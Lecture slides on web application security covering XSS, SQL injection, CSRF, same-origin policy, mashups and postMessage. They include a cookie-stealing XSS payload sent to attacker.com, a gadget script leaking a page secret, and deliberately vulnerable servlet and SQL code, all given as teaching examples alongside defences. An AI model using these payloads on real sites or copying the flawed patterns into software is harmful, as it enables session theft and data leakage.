Upload
franklin-caldwell
View
219
Download
0
Embed Size (px)
Citation preview
Web Programming and Security
Lecture 2
Tamara Rezk
Security problems
Confidentiality violation
Integrity violation
Availability violation
Attacks, summary
• Phishing attacks (eg MySpace, 2006)
Attacks, summary
• Phishing attacks (eg MySpace, 2006)• Session integrity violation (eg Dansie shopping cart, 2006)
Attacks, summary
• Phishing attacks (eg MySpace, 2006)• Session integrity attacks (eg Dansie shopping cart, 2006)• Cross site request forgery attacks (eg Gmail, 2007)
Prevention
• Server side:– add a secret that the attacker cannot guess– re-authenticate for critical operations
• User side:– logging off one site before using others
Attacks, summary
• Phishing attacks (eg MySpace, 2006)• Session integrity attacks (eg Dansie shopping cart, 2006)• Cross site request forgery attacks (eg Gmail, 2007)• Navigation policy based attacks (eg Guninski/Citibank, 1999)
Attacks, classification?
• Phishing attacks (eg MySpace, 2006)• Session integrity attacks (eg Dansie shopping cart, 2006)• Cross site request forgery attacks (eg Gmail, 2007)• Navigation policy based attacks (eg Guninski/Citibank, 1999)
Lessons Learned
Do not trust the client on:
• Maintaining integrity of sessions state
• Running client code
• Providing valid input
Lessons Learned
Do not trust the client on:
Providing valid inputpublic class Greeting extends HttpServlet{
public void doGet{HttpServletRequest req, HttpServletResponse res)
throws ServletException, IOException{
res.setContentType(“text/html”);
PrinterWriter out = res.getWriter();
String name = req.getParameter(“name”);
out.println(“<HTML>\n<BODY>\n”);
out.printl(“Greeting from “+ name + “\n”);
out.println(“</BODY>\n</HTML>\n”);
} }
Lessons Learned
Do not trust the client
http://host/Greeting?name=<script> …</script>
Security in Web Applications
Main source of vulnerabilities
From Cenzic Web Security Trends Report Q1-Q2-2010
• Cross-site scripting
• Information leakage
• SQL Injection
Multitier nature cause problems
12
Code injection
• Data-tier code injection (SQL)
• Client-tier code injection (Javascript)
• Server-tier code injection
SQL Injection
Query = "SELECT score FROM Student where name = ‘" + input
14
SQL Code Injection Attack, Microsoft 2008
CardSystems out of business, 2005 (SQL Code injection attack)
263000numbers stolen!
s (i1, … , in) c
s server program
i1, … , in untrusted input (provided by client)
c client code: HTML document with Javascript nodes
Dynamic Code Generation
let’s see a guestbook example
Attack to the guestbook
<script> alert(“attack!”);</script>
Embedding Javascript
<body> ... <script type="text/javascript" src=“myCode.js" />
<script type="text/javascript"> //<![CDATA[ alert("Page is loading"); //]]> </script>
<p onclick="alert('I told you not to click on me!');"> Please do not click on this text.</p> ...</body>
External Javascript File
Inline Code
Event Handler
Let’s see some other ways to inject code
Code Injection, other example
• Untrusted client input:
<script>window.location = “http://attacker.com?cookie=” + document.cookie; </script>
• Goal: inject the code to a benign user;
• Consequence: – Cookie stolen by attacker.com;– Possible sensitive private information;
Code Injection & XSS - Example
DatabaseGuestbook serverBenign user
Malicious user Attacker.com
Add entry:<script>window.location = “http://attacker.com?cookie=” + document.cookie; </script>
<script>window.location = “http://attacker.com?cookie=” + document.cookie; </script>
Get all entries
<script>window.location = “http://attacker.com?cookie=” + document.cookie; </script>
Secret cookies
Existing Server-side Prevention
Escaping FilteringEscaping Filtering
Vulnerable code
Patchedcode
TaintAnalysis
TaintAnalysis
String Analysis
String Analysis
Instruction Randomization
Instruction Randomization
Programmer Attention
Required!!
Randomizedcode
WebSSARI, Huang et al. [2004]Pixy, Jovanovic et al. [2006]Xie and Aiken [2006]…
Mimamide [2005]Balzarotti [2008]Wasermann et al. [2008]…
Example:preg_replace
("script", "",input)
“<scrscriptipt>” “<script>”
Release
……
23
Boyd et al. [2004]
HTML parser and browser quirks
• Standard HTML Parser– Obtain target syntax tree– No ill-formed result produced
• Various way of triggering JS engine(BEEP [Jim et al. 2007]– Event listener: (<DIV> :onclick "alert(msg)")– Hyperlink: (<A> :href "javascript:alert(msg)")– Dynamic code evaluation: eval, document.write
• Solution: turning off all these features in Hop– Advantage of multitier language
NOT identified by syntax difference
24
Code Injection Attack vectors
Web 2.0 Applications
27
2004: AJAX (Asynchronous Javascript and XML) becomes popular,
social sites emerge
Technologies: Web Browser, Web Server,HTTP , HTMLCGI: Common Gateway InterfaceAJAX : Javascript, CSS, XML, DOM, XMLHttpRequest
request a service
partial reloading of the webpage (iframe)
XMLHttpRequest object for asynchronous communication
Mashups: HousingMaps, 2005
Web Mashup
• Web application (client side):
• Integrating third-party gadget;
• Integrator partially sharing information to gadget;
• Example: Housingmap.com
Google Maps Gadget Integrator’sHousing Data
Great way to use your data!
29
Le Monde is a mashup
Code of Le Monde
<iframe src="http://www.youtube.com/embed/W8WP2SjsZw4?rel=0" width="520" height="294"frameborder="0"></iframe>
ALL OR NOTHING TRUST MODEL IN THE BROWSER
The Same Origin Policy
Programming Model – Dilemma
• Full sharing (JS Env.)• Running as integrator• Gadget trusted
• Full isolation (by SOP)• Running as gadget• Limited sharing
– Frame identifier– PostMessage
Using <script> tag Using <iframe> frame
Google Maps Gadget Integrator’sHousing Data
Google Maps Gadget Integrator’sHousing Data
X
33
The same origin policy (SOP)
• The <iframe> tag: what about Javascript behaviour?
browser
integrator’s code
<iframe src= http://b.com/gadget.js >
…</iframe>
HEAP
global object
global object
• The <script> tag permits to treat code as code from the same origin
The same origin policy (SOP)
integrator’s code
<script src=http://b.com/gadget.js>
browser
servera.com
serverb.com
The same origin policy (SOP)
• The <script> tag: what about Javascript behaviour?
browser
integrator’s code
<script src=http://b.com/gadget.js
>
The same origin policy (SOP)
An evil gadget
integrator.html<script src = “http://attacker.com/gadget.js”> </script><div id=secret>42</div></h1>
gadget.js<script>secret=document.getElementById("secret").innerHTML;setTimeout('delayer()', 5000)delayer = function(){window.location="EvilSite.php?secret="+secret;}</script>
Important JavaScript detail:
o.f is treated as o["f"]
Javascript
Thanks Shriram Krishnamurthi for this slide
lookup =function(o, fd) {
if (fd === "XHR") {return "unsafe!"; }
else {return o[fd]; } }
40
If fd is not a string, JavaScript invokes the .toString method to convert the value to a string
Is this function safe?
badObj ={toString:
function () {return "XHR"}}
lookup(window, badObj) window[badObj] window[{toString: …}] Window[{toS…: …}.toS… ()] window[(function () …) ()] window["XHR"]
…in fact,lookup
isunsafe!
41
More evals: e.g., setTimeout:
42
function f() { alert('hello'); }
setTimeout(f, 1000);
var s = "alert('hello') ";
setTimeout(s, 1000);
Any JavaScript string!
Let’s try some more code with setTimeout
<script>s="alert('Lets talk about Javascript!')";setTimeout(s, 100)</script>
<script>function fac(x) { if (x <= 1) { return 1; } return x*fac(x-1);}r = fac(3);s = "alert("+r+")"setTimeout(s, 100)</script>
What happens now?
<script src=attacker.js></script></head><body><script>function fac(x) { if (x <= 1) { return 1; } return x*fac(x-1);}r = fac(4);s = "alert("+r+")"setTimeout(s, 100)</script>
Anything Else?
47
• Wrap DOM nodes and callbacks• Don’t hand references to DOM nodes to the wrong functions• Avoid other conditionally unsafe calls• Be aware of implicit method calls in JavaScript’s semantics• Simulate private fields (JavaScript provides none)• Disallow arbitrary traversal of the object graph• Avoid leaking the global object
Make sure all invariants hold over 50+ entry points
Thank you Shrirma Krishnamurthi for all the recommendations!Check AdSafety
The same origin policy (SOP)
• The <iframe> tag: what about Javascript behaviour?
browser
integrator’s code
<iframe src= http://b.com/gadget.js >
…</iframe>
HEAP
global object
global object
Frame Communication
Fragment Identifier Messaging
• Send information by navigating a frame– http://gadget.com/#hello
• Navigating to fragment doesn’t reload frame– No network traffic, but frame can read its fragment
• Not a secure channel– Confidentiality– Integrity– Authentication
An attack to the Elysee?
\
http://www.elysee.fr/president/accueil.1.html?id=1327062581707&msg=Sotp%20S.O.P.A%20:)%20%E2%99%AB%E2%99%AB
http://www.elysee.fr/president/accueil.1.html?id=1327077505069&msg=Anonymous
http://www.elysee.fr/president/accueil.1.html?id=1327077699951&msg=We%20Are%20Legion!
An attack to the Elysee?
\
http://www.elysee.fr/president/accueil.1.html?id=1327062581707&msg=Sotp%20S.O.P.A%20:)%20%E2%99%AB%E2%99%AB
http://www.elysee.fr/president/accueil.1.html?id=1327077505069&msg=Anonymous
http://www.elysee.fr/president/accueil.1.html?id=1327077699951&msg=We%20Are%20Legion!
Let’s see a video
HTML 5
• Cross-origin client side communications
• Postmessage channel between frames
• Child policy
postMessage
• New API for inter-frame communication
• Supported in latest betas of many browsers
• Not a secure channel– Confidentiality– Integrity– Authentication
Reply Attack
Fix: Improve the API (Standford)
• Let the sending specify the recipient– frame[0].postMessage(“Hello”, “http://gadget.com”)– Can omit argument if confidentiality not required
• Adoption– Firefox 3– Internet Explorer 8– Safari 3.1
see Securing Frame Communication in Browsers
Security considerations postmessage
• Do not configure target origin to “*”
• Sensitive data can be leaked to unknown widgets
• Always check for sender’s origin
• Always validate data before use
• Do not consume data directly with eval() or innerHTML
Basic definitions of securityConfidential information is stored in, or communicated through “objects” protected by access rights, typically for reading, writing, and executing.
• Confidentiality : to prevent unauthorized disclosure of data we should implement:– access control– secure information flow – adequate cryptography– secure protocols
(to name a few)
Access Control
“Subjects” = programs (threads) or users, with security clearances (read/write/execute).
“Objects” = where information is stored. For instance memory locations, files, entries in a database, services, communication channels … with access rights.
Access control = the operations performed by the “subjects” over the “objects” are checked to have the appropriate clearance.
Access Control (for integrity)
A simple example in hop: A Guest Book Application
Objects = “services”
Subjects = “users calling the services” (authentication)
Access Policy = “which user can call which service”
Services Users
addentry anonymous
addentry, delete-all-entries admin
Access Control (for confidentiality)
A simple example in hop: A Broker Application
Objects = “services” showStockInfo
Subjects = “users calling the services” (authentication)
Access Policy = “No user should learn anything about stocks of other users” (each user can see only his/her confidential information on stocks)
Access control
• In Hop: wizard.hop
AUTHENTICATION PROTOCOLS
Http authentication is not really secure!!
Let’s play attacker again on an example with
“Tamper Data” and a Base64 Decoder to obtain
the password of the admin user.
SSL/TLS AUTHENTICATION
INFORMATION FLOW IN THE PROGRAM
Broker Application
(define (isUser t a) (string=? t (car a)))
(define-service (show-all-entry) … (map show-entry (filter (lambda (a) (isUser username a )) broker-private-information)))
(define-service (broker) (<HTML> (<BODY>… (<BUTTON> :onclick ~(with-hop ($show-all-entry) …)
"Share holder login“)…)))
Broker Application
(define (isUser1 t a) (string-contains t (car a)))
(define-service (show-all-entry) … (map show-entry (filter (lambda (a) (isUser1 username a )) broker-private-information)))
(define-service (broker) (<HTML> (<BODY>… (<BUTTON> :onclick ~(with-hop ($show-all-entry) …)
"Share holder login“)…)))
Availability security problems
• A service or resource is made unvailable
Availability security problems
• A service or resource is made unvailable
Common attack: DOS or Distributed DOS (DDOS)
Availability security problems
• A service or resource is made unvailable
Common attack: DOS or Distributed DOS (DDOS)
How to prevent it?
Availability security problems
Attacks, summary
• Phishing attacks (eg MySpace, 2006)• Session integrity attacks (eg Dansie shopping cart, 2006)• Cross site request forgery attacks (eg Gmail, 2007)• Navigation policy based attacks (eg Guninski/Citibank, 1999)• Code injection attacks (eg Microsoft, 2008)• XSS attacks • Mashup based attacks• http authentication attacks• DOS attacks (Captchas)
Context – Multi-tier Language
• Unified Language• Code split to different
tiers• Example:
– LINKS [Cooper et al. 2005]
– Swift [Chong et al. 2007]
– Ur [Chlipala 2010]
– HOP [Serrano et al. 2006]
• This course focus: HOP
73
Multi-tier compilerMulti-tier compiler
Hop compilation
74
ServerBytecode
ServerBytecode
ServerBytecode
ServerBytecode
HTML
CSS
JS
Client code
compiler
Client code
compiler
HTTP
Invoke
Access URLs
Server code
compiler
Server code
compiler
Generate
Code InjectionPrevention
Code InjectionPrevention
MashicCompilerMashicCompiler
URL
URL
URL
URL